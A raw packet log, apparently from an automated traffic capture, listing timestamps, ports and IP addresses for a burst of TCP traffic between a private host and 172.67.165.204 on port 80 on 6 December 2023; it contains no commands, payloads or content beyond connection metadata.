Dec 6, 2023 14:50:51.255825043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255834103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255856037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255872011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255893946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255928993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255932093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255954027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.255990028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.255991936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256015062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256036043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256047010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256071091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256092072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256103992 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256114006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256149054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256149054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256186962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256208897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256221056 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256230116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256252050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256263018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256273031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256294012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256308079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256315947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256349087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256366968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256390095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256411076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256428003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256432056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256453991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256473064 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256477118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256500006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256513119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256550074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256586075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256769896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256793022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256814957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256828070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256933928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256956100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256970882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.256975889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.256999016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257014990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257020950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257036924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257052898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257071018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257074118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257095098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257100105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257116079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257133007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257138968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257159948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257174969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257183075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257219076 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257219076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257241964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257262945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257275105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257283926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257316113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257352114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257375002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257395983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257410049 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257445097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257467031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257481098 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257488966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257510900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257524967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257534027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257570982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257570982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257594109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257615089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257628918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257649899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257685900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257688046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257903099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257925034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257941008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257946968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257966995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.257981062 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.257991076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258013010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258023977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258033991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258057117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258074045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258078098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258096933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258116961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258121014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258141994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258160114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258193016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258214951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258228064 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258249998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258272886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258285999 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258308887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258343935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258358955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258404016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258424997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258440018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258449078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258485079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258485079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258507013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258544922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258568048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258590937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258613110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258622885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258634090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258655071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258666992 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258676052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258712053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258865118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258888006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258920908 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.258924961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258948088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258970022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.258979082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259006023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259028912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259038925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259051085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259085894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259087086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259123087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259155989 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259159088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259181023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259215117 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259217024 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259238958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259258986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259277105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259282112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259304047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259315014 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259339094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259372950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259418011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259515047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259551048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259593010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259630919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259665012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259673119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259696960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259718895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259731054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259753942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259777069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259792089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259830952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259852886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259867907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259876013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259910107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.259912014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.259978056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260013103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260014057 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260056973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260077953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260090113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260113955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260150909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260150909 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260188103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260221958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260236979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260282993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260318041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260323048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260349989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260384083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260478973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260503054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260524035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260538101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260545969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260567904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260581017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260668039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260690928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260706902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260714054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260741949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260749102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260763884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260787964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260801077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260838032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260860920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260881901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260885000 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260905027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260919094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260926962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260947943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260958910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.260968924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.260991096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261003017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261012077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261033058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261049986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261068106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261090040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261106968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261111975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261145115 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261147022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261184931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261219025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261260033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261329889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261383057 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261394024 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261497021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261537075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261540890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261588097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261610985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261626005 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261632919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261667967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261670113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261693954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261714935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261734009 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261737108 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261759996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261771917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261781931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261805058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261822939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261827946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261851072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261863947 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261872053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261893988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261907101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261915922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.261950970 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.261953115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262002945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262026072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262038946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262049913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262070894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262084961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262094021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262115955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262128115 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262136936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262157917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262171030 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262180090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262213945 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262216091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262290955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262326002 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262377977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262401104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262435913 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262454987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262491941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262526989 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262593031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262629032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262664080 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262691975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262731075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262763977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262787104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262809038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262830973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262841940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262852907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262875080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262887001 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262896061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262928963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.262932062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262954950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262975931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.262989998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263011932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263035059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263046026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263084888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263120890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263142109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263180017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263219118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263247013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263271093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263303995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263333082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263370037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263405085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263483047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263506889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263529062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263540983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263550043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263581991 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263609886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263633013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263654947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263672113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263675928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263698101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263714075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263724089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.263756037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.263761997 CET	80	49705	172.67.165.204	192.168.2.5
